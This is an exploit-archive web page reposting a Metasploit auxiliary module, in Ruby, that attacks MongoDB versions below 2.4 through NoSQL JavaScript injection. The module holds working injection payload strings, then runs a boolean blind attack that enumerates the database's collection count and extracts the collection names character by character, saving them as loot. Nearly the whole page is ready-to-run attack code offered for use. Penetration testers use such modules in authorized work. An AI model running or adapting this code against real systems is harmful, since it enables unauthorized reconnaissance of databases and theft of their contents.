首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MongoDB NoSQL Collection Enumeration Via Injection
来源:metasploit.com 作者:Perry 发布时间:2014-07-01  
##
## This module requires Metasploit: http//metasploit.com/download
###
  
require 'msf/core'
  
class Metasploit4 < Msf::Auxiliary
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  
  def initialize(info={})
    super(update_info(info,
      'Name' => "MongoDB NoSQL Collection Enumeration Via Injection",
      'Description' => %q{
This module can exploit NoSQL injections on MongoDB versions less than 2.4
and enumerate the collections available in the data via boolean injections.
},
      'License' => MSF_LICENSE,
      'Author' =>
        ['Brandon Perry <bperry.volatile[at]gmail.com>'],
      'References' =>
        [
        ],
      'Platform' => ['linux', 'win'],
      'Privileged' => false,
      'DisclosureDate' => "Jun 7 2014"))
  
      register_options(
      [
        OptString.new('TARGETURI', [ true, 'Full vulnerable URI with [NoSQLi] where the injection point is', '/index.php?age=50[NoSQLi]'])
      ], self.class)
  end
  
  def syntaxes
    [["\"'||this||'", "'||[inject]||'"],
     ["\"';return+true;var+foo='", "';return+[inject];var+foo='"],
     ['\'"||this||"','"||[inject]||"'],
     ['\'";return+true;var+foo="', '";return+[inject];var+foo="'],
     ["||this","||[inject]"]]
  end
  
  def run
    uri = datastore['TARGETURI']
  
    res = send_request_cgi({
      'uri' => uri.sub('[NoSQLi]', '')
    })
  
    if !res
      fail_with("Server did not respond in an expected way.")
    end
  
    pay = ""
    fals = res.body
    tru = nil
  
    syntaxes.each do |payload|
      print_status("Testing " + payload[0])
      res = send_request_cgi({
        'uri' => uri.sub('[NoSQLi]', payload[0])
      })
  
      if res and res.body != fals and res.code == 200
        print_status("Looks like " + payload[0] + " works")
        tru = res.body
  
        res = send_request_cgi({
          'uri' => uri.sub('[NoSQLi]', payload[0].sub('true', 'false').sub('this', '!this'))
        })
  
        if res and res.body != tru and res.code == 200
          vprint_status("I think I confirmed with a negative test.")
          fals = res.body
          pay = payload[1]
          break
        end
      end
    end
  
    if pay == ''
      fail_with("Couldn't detect a payload, maybe it isn't injectable.")
    end
  
    length = 0
    vprint_status("Getting length of the number of collections.")
    (0..100).each do |len|
      str = "db.getCollectionNames().length==#{len}"
      res = send_request_cgi({
        'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))
      })
  
      if res and res.body == tru
        length = len
        print_status("#{len} collections are available")
        break
      end
    end
  
    vprint_status("Getting collection names")
  
    names = []
    (0...length).each do |i|
      vprint_status("Getting length of name for collection " + i.to_s)
  
      name_len = 0
      (0..100).each do |k|
        str = "db.getCollectionNames()[#{i}].length==#{k}"
        res = send_request_cgi({
          'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))
        })
  
        if res and res.body == tru
          name_len = k
          print_status("Length of collection #{i}'s name is #{k}")
          break
        end
      end
  
      vprint_status("Getting collection #{i}'s name")
  
      name = ''
      (0...name_len).each do |k|
        [*('a'..'z'),*('0'..'9'),*('A'..'Z'),'.'].each do |c|
          str = "db.getCollectionNames()[#{i}][#{k}]=='#{c}'"
          res = send_request_cgi({
            'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))
          })
  
          if res and res.body == tru
            name << c
            break
          end
        end
      end
  
      print_status("Collections #{i}'s name is " + name)
      names << name
    end
  
    p = store_loot("mongo_injection.#{datastore['RHOST']}_collections",
                   "text/plain",
                   nil,
                   names.to_json,
                   "mongo_injection_#{datastore['RHOST']}.txt",
                   "#{datastore["RHOST"]} MongoDB Javascript Injection Collection Enumeration")
  
    print_good("Your collections are located at: " + p)
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·OpenSSL DTLS Fragment Buffer O
·Sun/Oracle GlassFish Authentic
·Supermicro Onboard IPMI Port 4
·Nagios check_dhcp 2.0.2 Race C
·Gitlist <= 0.4.0 - Remote Code
·Horde Framework Unserialize PH
·check_dhcp 2.0.2 (Nagios Plugi
·Baidu Spark Browser 26.5.9999.
·chkrootkit 0.49 - Local Root V
·HP AutoPass License Server Fil
·Internet Explorer 8 - Fixed Co
·MS14-009 .NET Deployment Servi
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved